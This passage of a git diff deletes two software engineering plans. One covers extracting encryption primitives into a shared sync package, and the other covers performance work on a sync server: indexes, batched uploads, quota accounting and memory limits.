`Log.warn(...)` call. Where the warning would fire, set `wasLegacyKdf: true` in the returned `DecryptResult`. The caller (`OperationEncryptionService`, `EncryptAndCompressHandlerService`) is responsible for logging if it cares — both already have `Log` access in app context. - -**Step 5: Guard `setArgon2ParamsForTesting`** - -Locate the function (line ~29). Add a production guard: - -```typescript -export const setArgon2ParamsForTesting = (params: typeof DEFAULT_ARGON2_PARAMS): void => { - if (typeof process !== 'undefined' && process.env?.NODE_ENV === 'production') { - throw new Error('setArgon2ParamsForTesting must not be called in production'); - } - _argon2Params = params; -}; -``` - -This blocks accidental prod use without changing the testing API. - -**Step 6: Add encryption exports to the package barrel** - -Modify `packages/sync-core/src/index.ts` — append: - -```typescript -// Encryption primitives — Argon2id KDF + AES-GCM, Web Crypto with @noble fallback. -export { - encrypt, - decrypt, - encryptBatch, - decryptBatch, - generateKey, - deriveKeyFromPassword, - encryptWithDerivedKey, - decryptWithDerivedKey, - decryptWithMigration, - getCryptoStrategy, - isCryptoSubtleAvailable, - clearSessionKeyCache, - getSessionKeyCacheStats, - getArgon2Params, - setArgon2ParamsForTesting, - base642ab, - ab2base64, -} from './encryption'; -export type { DerivedKeyInfo, DecryptResult } from './encryption'; -``` - -**Step 7: Add a smoke test (matches the existing `*.spec.ts` glob)** - -Write `packages/sync-core/tests/encryption.spec.ts`: - -```typescript -import { describe, it, expect } from 'vitest'; -import { - encrypt, - decrypt, - isCryptoSubtleAvailable, - WebCryptoNotAvailableError, -} from '../src'; - -describe('encryption (smoke)', () => { - it('exposes Web Crypto availability check', () => { - expect(typeof isCryptoSubtleAvailable()).toBe('boolean'); - }); - - it('round-trips a string through encrypt/decrypt with the same password', async () => { - if (!isCryptoSubtleAvailable()) { - // Node 20+ provides globalThis.crypto; if the test env is older skip. - return; - } - const plaintext = 'hello sync world'; - const ciphertext = await encrypt(plaintext, 'correct horse battery staple'); - expect(ciphertext).not.toBe(plaintext); - const result = await decrypt(ciphertext, 'correct horse battery staple'); - expect(result.plaintext).toBe(plaintext); - }); - - it('exports WebCryptoNotAvailableError', () => { - expect(new WebCryptoNotAvailableError()).toBeInstanceOf(Error); - }); -}); -``` - -**Step 8: Run the package tests** - -```bash -cd packages/sync-core && npm test -``` - -Expected: smoke spec passes. Node 20+ provides `globalThis.crypto` natively — no jsdom needed. If Node 18 (unlikely given repo's engine target), the second test will skip via the early return. - -**Step 9: Build the package** - -```bash -cd packages/sync-core && npm run build -``` - -Expected: clean dual build. Verify the type declarations: - -```bash -grep -E "(encrypt|decrypt|WebCryptoNotAvailableError)" packages/sync-core/dist/index.d.ts | head -``` - -Expected: all surface present. - -**Step 10: Commit** - -```bash -git add packages/sync-core/ -git commit -m "feat(sync-core): add encryption primitives" -``` - ---- - -## Task 3: Rewire all in-app consumers - -**Goal:** Single mechanical commit covering every consumer of the soon-to-be-deleted `src/app/op-log/encryption/encryption.ts`. No code logic changes — only import paths. - -**Files (verified by grep before starting):** - -```bash -grep -rnE "from ['\"](.*)op-log/encryption/encryption['\"]" src/app --include="*.ts" | grep -v "\.spec\.ts" -``` - -Expected hits (from review context): - -- `src/app/imex/sync/sync-config.service.ts` -- `src/app/imex/sync/file-based-encryption.service.ts` -- `src/app/imex/sync/encryption-password-change.service.ts` -- `src/app/imex/sync/snapshot-upload.service.ts` -- `src/app/op-log/encryption/encrypt-and-compress-handler.service.ts` (`decryptBatch`, `encryptBatch`) -- `src/app/op-log/sync/operation-encryption.service.ts` (`encrypt`, `decrypt`, `encryptBatch`, `decryptBatch`) -- `src/app/op-log/encryption/encryption.spec.ts` (path: `./encryption` → `@sp/sync-core`) - -Also rerun the grep for `WebCryptoNotAvailableError` direct imports — the Task 1 re-export should cover them, but double-check: - -```bash -grep -rnE "WebCryptoNotAvailableError" src/app --include="*.ts" | grep -v "\.spec\.ts" -``` - -**Step 1: Update every import** - -In each file above, replace: - -```typescript -// OLD: -import { ... } from '../../op-log/encryption/encryption'; -// OR (handler): -import { decryptBatch, encryptBatch } from './encryption'; -// NEW: -import { ... } from '@sp/sync-core'; -``` - -For the spec file (`src/app/op-log/encryption/encryption.spec.ts`): - -```typescript -// OLD: import { encrypt, decrypt, ... } from './encryption'; -// NEW: import { encrypt, decrypt, ... } from '@sp/sync-core'; -``` - -**Step 2: Wire the legacy-KDF warning at the app boundary** - -In `src/app/op-log/sync/operation-encryption.service.ts`, find calls to `decryptWithMigration` (if any). Wherever `decryptWithMigration` is called, if the returned `DecryptResult.wasLegacyKdf === true`, emit: - -```typescript -Log.warn('Encrypted payload used legacy PBKDF2 KDF; re-encrypting with Argon2id'); -``` - -If `decryptWithMigration` is called from `encrypt-and-compress-handler.service.ts` instead (likely — it's the migration glue), put the warning there. Grep first: - -```bash -grep -rn "decryptWithMigration" src/app --include="*.ts" | grep -v "\.spec\.ts" -``` - -Apply the warning at the call site that's closest to user-visible flow. **If the warning was never functionally important** (i.e. silently dropping it is fine), leave the flag in the result type and skip the log call. Decide based on whether any user-facing UX depends on it — grep for any reference in tests: - -```bash -grep -rn "legacy.*KDF\|PBKDF2.*deprecat" src/app --include="*.ts" -``` - -**Step 3: Run every consumer's spec** - -```bash -npm run test:file src/app/op-log/encryption/encryption.spec.ts -npm run test:file src/app/op-log/sync/operation-encryption.service.spec.ts -npm run test:file src/app/imex/sync/sync-config.service.spec.ts -npm run test:file src/app/imex/sync/file-based-encryption.service.spec.ts -npm run test:file src/app/imex/sync/encryption-password-change.service.spec.ts -npm run test:file src/app/imex/sync/snapshot-upload.service.spec.ts -npm run test:file src/app/op-log/encryption/encrypt-and-compress-handler.service.spec.ts -``` - -Expected: all pass. If `encryption.spec.ts` fails, the most likely cause is a function exported by the source file but not by the package barrel — fix the barrel (Task 2 Step 6), don't fix the spec. - -**Step 4: checkFile every modified file** - -```bash -for f in ; do npm run checkFile $f || break; done -``` - -**Step 5: Commit** - -```bash -git add src/ -git commit -m "refactor(sync): consume encryption primitives from @sp/sync-core" -``` - ---- - -## Task 4: Delete `src/app/op-log/encryption/encryption.ts` - -**Goal:** Remove the now-orphan source file. Keep `encrypt-and-compress-handler.service.ts`, `compression-handler.ts`, and all specs. - -**Step 1: Confirm zero remaining imports from the file** - -```bash -grep -rnE "from ['\"](.*)op-log/encryption/encryption['\"]" src/ --include="*.ts" -``` - -Expected: only `encryption.spec.ts` co-located file (which now imports from `@sp/sync-core`, so the grep above checking the **source** path returns zero matches). If any non-spec match, return to Task 3 and finish before deleting. - -**Step 2: Delete the file** - -```bash -git rm src/app/op-log/encryption/encryption.ts -``` - -The spec stays in place; it now points at `@sp/sync-core`. - -**Step 3: Check `sync-exports.ts` for re-exports** - -```bash -grep -n "encryption" src/app/op-log/sync-exports.ts -``` - -If any re-export from `./encryption/encryption` exists, replace with a re-export from `@sp/sync-core` (matching the consumer expectation). - -**Step 4: Typecheck the app** - -```bash -npx tsc --noEmit -p tsconfig.app.json -``` - -Expected: 0 errors. - -**Step 5: Commit** - -```bash -git add -u -git commit -m "refactor(op-log): remove src copy of encryption primitives" -``` - ---- - -## Task 5: Verification - -**Step 1: Full unit suite** - -```bash -npm test -``` - -Expected: green. If the encryption spec specifically fails on Karma despite passing in isolation, suspect path mapping in `tsconfig.spec.json` — confirm `@sp/sync-core` is mapped to the built `dist`. - -**Step 2: Type-check the whole repo** - -```bash -npx tsc --noEmit -``` - -Expected: 0 errors. - -**Step 3: Lint every changed file** - -```bash -git diff --name-only master...HEAD | grep -E "\.(ts|scss)$" | xargs -n1 -I{} npm run checkFile {} -``` - -Expected: all clean. - -**Step 4: Bundle-size diff** - -Build prod twice — once on master, once on HEAD — and compare: - -```bash -git stash -git checkout master -- packages/ src/ -npm run dist -- --no-publish --linux 2>&1 | tail -5 -du -sb dist/ > /tmp/size-master.txt -git stash pop # or git checkout HEAD -- to restore -npm run dist -- --no-publish --linux 2>&1 | tail -5 -du -sb dist/ > /tmp/size-head.txt -diff /tmp/size-master.txt /tmp/size-head.txt -``` - -Expected: delta within ±5KB (no `hash-wasm` duplication). If significantly larger, run: - -```bash -npm ls hash-wasm @noble/ciphers -``` - -A second resolved copy is the most likely cause; fix via workspace dedup before merging. - -**Step 5: E2E smoke** - -```bash -ls e2e/src/ | grep -i sync -npm run e2e:file e2e/src/.e2e-spec.ts -- --retries=0 -``` - -Expected: PASS. - -**Step 6: Manual verification of the two `instanceof` sites** - -```bash -grep -nE "instanceof (DecryptError|WebCryptoNotAvailableError)" src/app/imex/sync/sync-wrapper.service.ts -``` - -Expected: both lines still present, unchanged. Confirm UX by: - -- Running the app, forcing a decrypt failure (wrong password), verifying the password-prompt dialog appears. -- (If feasible) Running in a context without `crypto.subtle` and verifying the WebCrypto-unavailable snackbar appears. - -If these manual checks aren't feasible, at minimum ensure `npm run test:file src/app/imex/sync/sync-wrapper.service.spec.ts` passes — the spec likely covers both branches. - -**Step 7: No commit — verification only.** - ---- - -## Task 6: PR-ready cleanup - -**Step 1: Final diff audit** - -```bash -git log --oneline master..HEAD -git diff --stat master...HEAD -``` - -Expected: ~4 commits, net negative line count on `src/` (encryption.ts deleted, no new files added apart from re-export shims). - -**Step 2: Docs check** - -```bash -grep -rn "op-log/encryption/encryption\|src/app/op-log/encryption" docs/ CLAUDE.md -``` - -If references exist, update to `@sp/sync-core`. Commit: - -```bash -git commit -m "docs(sync): update encryption references to @sp/sync-core" -``` - -**Step 3: Worktree clean check** - -```bash -git status -``` - -Expected: clean. - -**Step 4: PR draft (do NOT push without user approval)** - -Title: `refactor(sync): extract encryption primitives to @sp/sync-core` - -Body draft (use HEREDOC at PR time): - -- Summary - - Moves `encryption.ts` (~700 lines) and `WebCryptoNotAvailableError` into `@sp/sync-core` - - Replaces module-level `Log.warn` with structural `DecryptResult.wasLegacyKdf` so primitives stay pure - - `EncryptAndCompressHandler`, `compression-handler.ts`, and all dialogs stay in `src/` (app-coupled) - - Specs stay in `src/` and run under Karma against the package (no Jasmine→Vitest port) -- Test plan - - `npm test` green - - `npx tsc --noEmit` clean - - Sync e2e smoke passes - - Prod bundle within ±5KB vs. master (no `hash-wasm` duplication) - - Manual check: wrong-password dialog still fires; Capacitor WebCrypto fallback path intact - ---- - -## Risk Register - -- **`hash-wasm` / `@noble/ciphers` duplication in the prod bundle.** Mitigation: Task 2 Step 2 uses workspace install from root, not `cd packages/sync-core && npm install`. Task 5 Step 4 explicitly diffs bundle size and runs `npm ls`. -- **`instanceof DecryptError` at `sync-wrapper.service.ts:728`.** `DecryptError` is thrown by `encrypt-and-compress-handler.service.ts` (which stays in `src/`), not by `encryption.ts`. No change needed — flagged as a non-risk by review verification. -- **`instanceof WebCryptoNotAvailableError` at `sync-wrapper.service.ts:754` and `create-sha-1-hash.ts:1`.** Mitigation: Task 1 replaces the app class with a re-export of the package class, so identity is single. Same for `sync-exports.ts:39`. -- **Module-level state across dual ESM/CJS resolution.** Session-key cache and `_argon2Params` are module-scoped; if a consumer mixed `import` and `require`, two instances would coexist. Mitigation: Angular app uses ESM only; smoke test (Task 2 Step 7) round-trips through the published entry; bundle-size diff (Task 5 Step 4) would surface a double-resolve. -- **`setArgon2ParamsForTesting` callable from prod code.** Mitigated in Task 2 Step 5 with a `NODE_ENV === 'production'` guard. -- **Karma can't resolve `@sp/sync-core` after the package is built.** Verify `tsconfig.spec.json` `paths` includes `@sp/sync-core` → `packages/sync-core/dist`. If missing, add before Task 3 Step 3. -- **`decryptWithMigration` log loss.** The one `Log.warn` becomes a `DecryptResult.wasLegacyKdf` flag. Task 3 Step 2 wires the warning at the app boundary; if the warning turns out to be load-bearing for support/debugging, the boundary log preserves it. - ---- - -## Out of Scope (deliberately) - -- Moving `EncryptAndCompressHandler` — has hard imports of `getSyncFilePrefix`, `extractSyncFileStateFromPrefix`, `DecryptNoPasswordError`, `JsonParseError`, `DecryptError`. Would need a separate plan with prefix-helper injection design. -- Deleting `compression-handler.ts` — not a duplicate; it wraps the package's compression with app-specific error translation (`createCompressError: (e) => new CompressError(e)`) and `APP_COMPRESSION_LOG_MESSAGES`. Removing it would silently break error typing for callers. -- Inlining `OperationEncryptionService` into its 3 consumers (Architecture and Simplicity reviewers' suggestion) — separate refactor; would simplify but isn't required for the extraction. -- Vitest port of `encryption.spec.ts` — defer until the package gains a second consumer that benefits from independent test execution. -- Deduplicating `src/app/core/util/vector-clock.ts` against `@sp/sync-core/vector-clock` — separate plan, already noted. -- Extracting `LockService` — separate plan; low value standalone. diff --git a/docs/plans/2026-05-14-super-sync-server-perf.md b/docs/plans/2026-05-14-super-sync-server-perf.md deleted file mode 100644 index f665681d26..0000000000 --- a/docs/plans/2026-05-14-super-sync-server-perf.md +++ /dev/null @@ -1,296 +0,0 @@ -# SuperSync Server Performance Improvements - -Date: 2026-05-14 -Status: proposal — phases sequenced so independent low-risk wins land first while the large upload-batching work proceeds in parallel. - -Scope drawn from an audit of `packages/super-sync-server/` covering: upload processing, snapshot generation/replay, quota accounting, encrypted-op handling, auth, and deployment defaults. - -> **Revision note (post-review):** Phases 0b, 1, 2 and 4 were tightened after a subagent review surfaced design issues in the original draft. Specifically: a forgotten `userSyncState.upsert` for first-time users, intra-batch duplicate `op.id` handling, multi-entity (`entityIds[]`) op support, full-state-op aggregate-VC writes, and a `pg_column_size` vs. `computeOpStorageBytes` mismatch in the quota backfill. See each phase for the revised approach. - ---- - -## Phase 0 — Quick wins (one PR each, mostly low risk) - -### 0a. Encrypted-op partial index (Finding #4) - -- **New migration:** `prisma/migrations/_add_encrypted_ops_partial_index/migration.sql` - ```sql - DROP INDEX CONCURRENTLY IF EXISTS "operations_user_id_server_seq_encrypted_idx"; - CREATE INDEX CONCURRENTLY "operations_user_id_server_seq_encrypted_idx" - ON "operations"("user_id", "server_seq") - WHERE "is_payload_encrypted" = true; - ``` -- **Why:** `snapshot.service.ts:1083` and `:1114` `count(*) WHERE is_payload_encrypted=true` over a seq range. Today this scans the range and filters. With the partial index, the common case (no encrypted ops for the user) becomes an empty-index probe. -- **Leave alone:** existing `operations_user_id_full_state_server_seq_idx` already covers the `op_type IN (...)` filter for the `findFirst` at `snapshot.service.ts:1103`. (That `findFirst` also filters `isPayloadEncrypted: false`, which isn't in the partial-index predicate — currently a cheap index scan + flag recheck rather than a single probe. Not worth a second partial index.) -- **Verify (post-deploy on staging, NOT a CI merge gate):** `EXPLAIN ANALYZE` against a production-like distribution requires populated DB state. Run on staging after the migration applies, with 1M ops for a user holding 0-100 encrypted rows; run `ANALYZE operations` after the migration and record the expected plan. Also re-check the latest full-state `findFirst` path that filters `isPayloadEncrypted: false`; the existing full-state partial index does not include that predicate, so many encrypted full-state rows can still force scan-time rechecks. - -### 0b. Snapshot replay size-check cadence (Finding #2) - -- **File:** `packages/super-sync-server/src/sync/services/snapshot.service.ts:879-900` -- **Change:** replace `i % 1000 === 0 → JSON.stringify(state)` with delta-based accounting, with a carve-out for full-state ops: - - Before each call to `replayOpsToState` (which is called once per replay batch from `generateSnapshot`), compute `baseBytes = Buffer.byteLength(JSON.stringify(initialState), 'utf8')` once. Track `estimatedBytes = baseBytes` and `accumulatedDelta = 0`. - - During the loop, for each op add a cheap upper-bound delta = `Buffer.byteLength(JSON.stringify(payload || ''), 'utf8')` to `accumulatedDelta`. Overestimating is safe; deletes contribute 0. - - **Carve-out: when the op is `SYNC_IMPORT`, `BACKUP_IMPORT`, or `REPAIR`**, the op replaces state wholesale. The upper-bound counter would otherwise keep accumulating across the wipe and produce false "State too large" throws. After applying such an op, force a real measurement: `estimatedBytes = Buffer.byteLength(JSON.stringify(state), 'utf8')`, reset `accumulatedDelta = 0`. - - Trigger the real measurement (and reset `accumulatedDelta`) when `estimatedBytes + accumulatedDelta > 0.8 * MAX_REPLAY_STATE_SIZE_BYTES`. Throw if the real value still exceeds the cap. -- **Migration-split ops:** the inner loop at `:935-952` can fan one op into many; "delta per op = byteLength(payload)" still upper-bounds growth correctly (sum of fanned payloads ≥ state growth). No special handling needed. -- **Delete-heavy degradation:** deletes contribute 0 to the bound, but each forced real measurement re-reads the (now smaller) true size and resets `accumulatedDelta`, so the bound does not stay pinned — a delete-heavy stream after a large import triggers at most a handful of extra measurements, and only when the imported base alone is already near the cap. Effectively unreachable for normal data; signed-delta accounting is not worth the added complexity. -- **Why:** the pre-existing per-op-loop replay stringified the multi-MB state every 1000 ops, so a 100k-op replay did on the order of ~90 full stringifications inside the 60s RepeatableRead tx. After this change a 100k-op replay does ~1 per 10k-op replay batch (≈10), plus one per accepted full-state op; and because the delta bound is a proven over-estimate, the dominant case — a small/incremental replay whose bound stays under the cap — does **zero** (no regression vs the old loop, which also did zero below its 1000-op cadence). Net ≈5–10× on large replays, break-even on the common path. -- **Verify:** existing `snapshot.service.spec.ts` replay tests + add: 1500 small `CREATE`/`UPDATE` ops trigger zero full stringifications; a single `SYNC_IMPORT` triggers exactly one. - -### 0c. Snapshot blob measurement (Finding #5, snapshot half) - -- **File:** `storage-quota.service.ts:114-117` (the `findUnique({ select: { snapshotData: true } })`; `.length` is read at `:120`) -- **Change:** swap the `findUnique` for the same `octet_length(snapshot_data)` `$queryRaw` already used at `snapshot.service.ts:187-191` (`getCachedSnapshotBytes`). Don't pull a multi-MB `bytea` blob back to Node just to read `.length`. -- **Verify:** unit test: `calculateStorageUsage` agrees with `prepareSnapshotCache.bytes` (both are the gzip output length). -- **Caveat:** check how often `calculateStorageUsage` actually runs. `storage-quota.service.ts:84` describes it as "at most once per quota-cleanup event (rare per user)." If frequency is truly rare, this is a polish fix rather than a hot-path win. - -### 0d. Helm memory defaults (Finding #3, half) - -- **File:** `helm/supersync/values.yaml:178-184` -- **Current baseline:** `requests.memory: 128Mi`, `limits.memory: 256Mi`. -- **Change:** raise `limits.memory` to `1Gi`; raise `requests.memory` to `512Mi`. Add a comment naming the constants that drive the upper bound (`MAX_SNAPSHOT_DECOMPRESSED_BYTES`, `MAX_REPLAY_STATE_SIZE_BYTES`) and note the image-level `NODE_OPTIONS=--max-old-space-size=896`. -- **Why:** realistic single snapshot uploads can peak around 310-390MB (decompressed body + parsed JS object + serialized string + gzip output + baseline). Two concurrent snapshots can reach 600MB-1GB, so 512Mi remains fragile unless snapshot concurrency is separately pinned. -- **Also:** sweep `docs/sync-and-op-log/` for any documentation citing 256Mi. - ---- - -## Phase 1 — Upload batch processing (Finding #1, the big one) - -The plan-as-originally-drafted underspecified four real cases. The revised design below makes each explicit. - -### 1a. Refactor `processOperation` into a batch primitive - -**File:** `packages/super-sync-server/src/sync/sync.service.ts` — caller at `:459-467`, worker at `:634-790+`, and the upsert/counter/syncDevice tail at `:445-518`. - -**New shape, in order, inside the existing `tx`:** - -1. **Validate all ops in memory** (`validationService.validateOp`) — no DB. Produce a `decisions: Array<{ op, status: 'valid' | 'rejected', errorCode? }>`. - -2. **Dedupe by `op.id` within the batch.** If two ops in the same batch share an `id`, accept the first and reject subsequent ones as `DUPLICATE_OPERATION` — by id only, not content. This must happen before reserving sequence numbers; otherwise `lastSeq` advances for the duplicate and a server_seq gap is left when the row is silently skipped at insert time. - - **Deliberate divergence from the legacy per-op path (C4):** for an intra-batch `[A, A']` where the second op shares `A`'s id but has _different_ content, the legacy loop inserts `A` then catches `A'` at the DB and returns `INVALID_OP_ID`; the batch path returns `DUPLICATE_OPERATION`. Both are terminal rejections with no persisted row and no sequence gap, so all sync invariants hold — but the client treats them differently (`DUPLICATE_OPERATION` → marked synced silently; `INVALID_OP_ID` → hard rejection + error surfaced). This is an accepted behavior change while both paths coexist behind `SUPERSYNC_BATCH_UPLOAD`: the batch outcome (idempotent, non-noisy) is the preferred one. Pinned by the `sync.service.spec.ts` test "rejects an intra-batch same-id op as DUPLICATE_OPERATION even when its content differs". If the legacy path is retired, this divergence retires with it. - -3. **Prefetch existing op-id duplicates in one query:** - - ```ts - const existing = await tx.operation.findMany({ - where: { id: { in: validOpIds } }, - select: { - /* fields needed by isSameDuplicateOperation */ - }, - }); - ``` - - Build `Map`. For each `op` whose id is in the map, run `isSameDuplicateOperation` and audit as either `DUPLICATE_OPERATION` (idempotent retry) or `INVALID_OP_ID` (collision with a different op). - -4. **Prefetch latest-entity-op-per-(entityType, entityId) for every entity touched in the batch.** - **Multi-entity ops** carry `entityIds: string[]` (not just `entityId`) — see `sync.service.ts` `detectConflict` (lines 140-156). The prefetch set must be: - - ```ts - const entityKeys = new Set(); - for (const op of batch) { - const ids = op.entityIds ?? (op.entityId ? [op.entityId] : []); - for (const id of ids) entityKeys.add(`${op.entityType}::${id}`); - } - ``` - - Then one `DISTINCT ON` raw query (or one `findMany` with an in-app reduction) keyed on `(entityType, entityId)` ordered by `serverSeq DESC`, restricted to the touched set. Uses `@@index([userId, entityType, entityId, serverSeq])`. - -5. **Conflict detection in memory** against the prefetched map, **updating the map as each non-full-state op is accepted** so intra-batch conflicts (two ops on the same entity inside one batch) resolve in order — matches today's serial semantics. Full-state ops (`SYNC_IMPORT`/`BACKUP_IMPORT`/`REPAIR`) bypass conflict detection, as in `detectConflict` lines 129-136; they are not entity-scoped (`entityType: 'ALL'`, no `entityId`), so map invalidation is a no-op. - -6. **Reserve sequence numbers and ensure `user_sync_state` row exists in one round trip.** - The original draft proposed `tx.userSyncState.update(...)` for the increment, which throws `P2025` on a brand-new user (the row doesn't exist yet) and also leaves the existing `tx.userSyncState.upsert` at `:445-449` redundantly grabbing the same row lock. Replace **both** with one statement: - - ```sql - INSERT INTO user_sync_state (user_id, last_seq) - VALUES ($userId, $delta) - ON CONFLICT (user_id) DO UPDATE - SET last_seq = user_sync_state.last_seq + $delta - RETURNING last_seq - ``` - - `lastSeq` from the result is the new high-water mark; `accepted[i].serverSeq = lastSeq - accepted.length + i + 1`. Skip the statement entirely when `accepted.length === 0` (and skip the rest of the batch tail). - -7. **Bulk insert** with one `tx.operation.createMany({ data: rows })`. **Do NOT pass `skipDuplicates: true`.** Phase 1's correctness assumes the in-memory dedupe (step 2) and prefetch (step 3) have caught all duplicate ids; a row-level dup at insert time means our snapshot was stale and the right answer is to fail the batch with `P2002` on the operations primary key → outer 40001-style retry, not to silently drop a row whose sequence number we already reserved. - -8. **Run `_aggregatePriorVectorClock` once** if the batch contained any accepted full-state op (`isFullStateOpType(op.opType)`). This call (`sync.service.ts:600-628`) reads historical ops via `jsonb_each_text LATERAL`; it's not prefetchable. Use `beforeServerSeq = lastAcceptedFullStateOp.serverSeq` with `WHERE server_seq < beforeServerSeq`, so the aggregate includes prior history and accepted earlier-in-batch ops but excludes the full-state op itself and any later batch inserts. Persist `latestFullStateSeq` and `latestFullStateVectorClock` once. If a batch somehow contains two full-state ops, process them in batch-order — the last write wins, matching today's per-op-loop behavior. - -9. **Storage counter update** (`sync.service.ts:504-518`) — keep the `acceptedDeltaBytes` accumulation, summing `computeOpStorageBytes(op)` over accepted ops. Preserve the `isCleanSlate` SET-vs-INCREMENT branching exactly. - -10. **`syncDevice.upsert`** (`:476-495`) — per-batch already; stays as is. - -### 1b. FIX 1.5 — drop, with a recorded rationale - -Drop the per-op re-check at `sync.service.ts:786-794`. The safety it covered is delivered by the **shared `user_sync_state.lastSeq` row-write**, which forces concurrent batches to serialize: the second writer blocks on the row lock, then fails with `40001` (serialization failure) on commit. RR isolation alone does NOT provide this — PostgreSQL RR does not run full serializable snapshot isolation. The row-lock pattern is what makes the new design safe. - -**Already recorded as `ARCHITECTURE-DECISIONS.md` Decision #4** ("Batch Uploads Under RepeatableRead", line 121). Anyone proposing to remove the `lastSeq` increment from the hot path (e.g. sharded sequence assignment, distributed counters) must re-read that decision before doing so. - -### 1c. Tests - -- Extend `tests/sync.service.spec.ts`. Mock surfaces use the existing hand-rolled `vi.mock('../src/db', …)` pattern (not Prisma `$on('query')`, which isn't wired). Use `vi.spyOn(prisma.operation, 'findMany')` etc. to assert call counts. - - **25-op batch:** exactly 1 `findMany` for dup-id prefetch, 1 `findMany` (or `$queryRaw`) for entity prefetch, 1 `INSERT ... ON CONFLICT` for the sync-state row, 1 `operation.createMany`, 1 `syncDevice.upsert`, 1 `UPDATE users` counter, optionally 1 `_aggregatePriorVectorClock`. - - **Intra-batch duplicate `op.id`:** `[A, A]` — first accepted, second audited `DUPLICATE_OPERATION`, `lastSeq` advances by exactly 1, exactly one row inserted. - - **Intra-batch entity conflict:** `[op1, op2]` on the same entity — op1 wins, op2 rejected as concurrent. - - **Multi-entity op:** an op with `entityIds: [a, b, c]` correctly drives the prefetch and conflict-detection. - - **First-time user:** no `user_sync_state` row → upload succeeds; the `INSERT ... ON CONFLICT` creates the row with `last_seq = accepted.length`. - - **Full-state op in batch:** `_aggregatePriorVectorClock` runs exactly once at the end and sees only rows with `server_seq < fullState.serverSeq`. - - **Partial-acceptance batch:** 5 dups + 15 accepted → counters correct, audit log has 20 entries. - - **Concurrency:** two parallel batches on same user — outer retry on `P2034` / `40001` handles the loser. (This is unchanged in spirit but the failure mode shifts from "per-op re-check" to "shared row lock" — verify it still works.) - - **Sequence-gap invariant:** mixed-batch `[accept, reject, accept, reject, accept]` → persisted rows have contiguous `serverSeq = N, N+1, N+2`, `lastSeq` advances by exactly 3, no gaps anywhere. - - **No-double-terminal invariant:** every accepted op produces exactly zero rejection audits; every rejected op produces exactly zero persisted rows. Run across the full audit-event taxonomy (`OP_REJECTED`, `DUPLICATE_OPERATION`, `INVALID_OP_ID`, `CONFLICT_*`). - - **TIMESTAMP_CLAMPED additive case:** an op with `timestamp > now + maxClockDriftMs` produces one persisted row with the clamped timestamp **plus** one additional `TIMESTAMP_CLAMPED` audit event. The clamp is not a rejection — both outcomes coexist for the same op. -- **E2E:** `e2e/tests/sync/` (not `e2e/sync/`) — add one batch-of-50 upload test and assert latency drop vs. baseline. -- **Bench:** docker-compose Postgres, time 25-op and 100-op upload before/after. **Also measure concurrent-batch latency:** the shared row-lock means two simultaneous batches serialize hard — the per-batch latency under contention may be similar to today's per-op design. Total throughput should still win because each batch holds the lock for far less wall time. - -### 1d. Risk and rollout - -- Highest-blast-radius change in the plan. Land behind config flag `SUPERSYNC_BATCH_UPLOAD`, default `false` for one release, `true` the next. -- **Wire the flag** (shipped in `src/config.ts:172-179`): `batchUpload = (SUPERSYNC_BATCH_UPLOAD === 'true') && (SUPERSYNC_PAYLOAD_BYTES_BACKFILL_COMPLETE === 'true')`. The first condition without the second throws at startup with a message pointing operators at `npm run migrate-payload-bytes`. The DB-side complement is the startup self-check (see Cross-cutting): if `batchUpload === true` but `operations` still contains rows with `payload_bytes = 0`, the server refuses to boot. This closes the trust hole if an operator flips the env flag too early. -- **Route cap** (shipped in `sync.routes.ts:85, 601-604`): `MAX_OPS_PER_BATCH = SUPER_SYNC_MAX_OPS_PER_UPLOAD = 100` (from `packages/shared-schema/src/supersync-http-contract.ts:5`). Enforced before Zod parsing, returns HTTP 413 with `errorCode: 'PAYLOAD_TOO_LARGE'`. Same value also enforced inside the Zod schema as `.max(SUPER_SYNC_MAX_OPS_PER_UPLOAD)` so the OpenAPI contract stays in sync. -- **Invariant:** every op in the batch produces exactly one terminal-status audit (rejection) OR exactly one persisted row, plus optionally one additive `TIMESTAMP_CLAMPED` audit — never both terminal outcomes, never neither, never gapped sequence numbers. - ---- - -## Phase 2 — Quota byte accounting (Finding #5, ops half) - -### 2a. Schema change - -- New migration: add `payload_bytes BIGINT NOT NULL DEFAULT 0` to `operations`. -- Backfill — see §2b for why this can't be pure SQL. - -### 2b. Backfill must use `computeOpStorageBytes`, not `pg_column_size` - -The original draft proposed `UPDATE ... SET payload_bytes = pg_column_size(payload) + pg_column_size(vector_clock)`. **This is wrong.** - -- `pg_column_size(payload)` returns the TOAST-compressed on-disk size — typically much smaller than the uncompressed value for large JSONB. -- The write path uses `computeOpStorageBytes(op)` (in `sync.const.ts`), which returns `Buffer.byteLength(JSON.stringify(payload ?? null), 'utf8') + Buffer.byteLength(JSON.stringify(vectorClock ?? {}), 'utf8')` — i.e. the uncompressed UTF-8 length. - -These are different numbers by design. The file's own comment at `storage-quota.service.ts:88-103` already calls out this mismatch as the historical bug. Backfilling with `pg_column_size` seeds drift instead of fixing it: the SUM-query and the increment-counter will disagree on every reconcile after deployment. - -**Correct backfill:** stream `operations` rows per user in small batches from a one-time Node script, compute `computeOpStorageBytes(row)` per row, and batch the writes: - -```sql -UPDATE operations -SET payload_bytes = v.bytes::bigint -FROM (VALUES ...) AS v(id, bytes) -WHERE operations.id = v.id -``` - -This preserves correctness while avoiding one network round trip per row. Run it as a separate `migrate-payload-bytes.ts` (mirroring the existing `migrate-passkey-credentials.ts` pattern) **outside** the Prisma migration framework — Prisma migrations run synchronously at startup, and a synchronous backfill on a 100M-row `operations` table would block the server for hours. - -There is no clean SQL equivalent of `Buffer.byteLength(JSON.stringify(payload))` over JSONB. `octet_length(payload::text)` is close but reads/detoasts every row, which is the very disk-I/O DoS the file's comment warns about. - -### 2c. Write path - -- **All insert sites** populate `payload_bytes` per op using `computeOpStorageBytes` so the on-row value matches the increment-counter value the hot path is already adding. Both code paths are wired today: batch path at `sync.service.ts:1115`, legacy per-op path at `:1393`. This is the consistency `calculateStorageUsage` needs and the reason an old per-op insert deployed under `SUPERSYNC_BATCH_UPLOAD=false` does not seed drift while batch is rolled out. - -### 2d. Read path - -- Replace `storage-quota.service.ts:109-112` with the `CASE WHEN` form already shipped at `:97-120`: - ```sql - SELECT COALESCE( - SUM( - CASE - WHEN payload_bytes > 0 THEN payload_bytes - ELSE octet_length(payload::text)::bigint + - octet_length(vector_clock::text)::bigint - END - ), - 0 - ) AS total - FROM operations - WHERE user_id = $1 - ``` -- The `ELSE` branch (option (b) in the design analysis) is the only candidate on the same UTF-8 scale as `computeOpStorageBytes`. Detoasting cost is bounded — only un-backfilled rows hit it, and the set drains monotonically to zero. -- Drop `pg_column_size` entirely. No detoasting on backfilled rows, no I/O 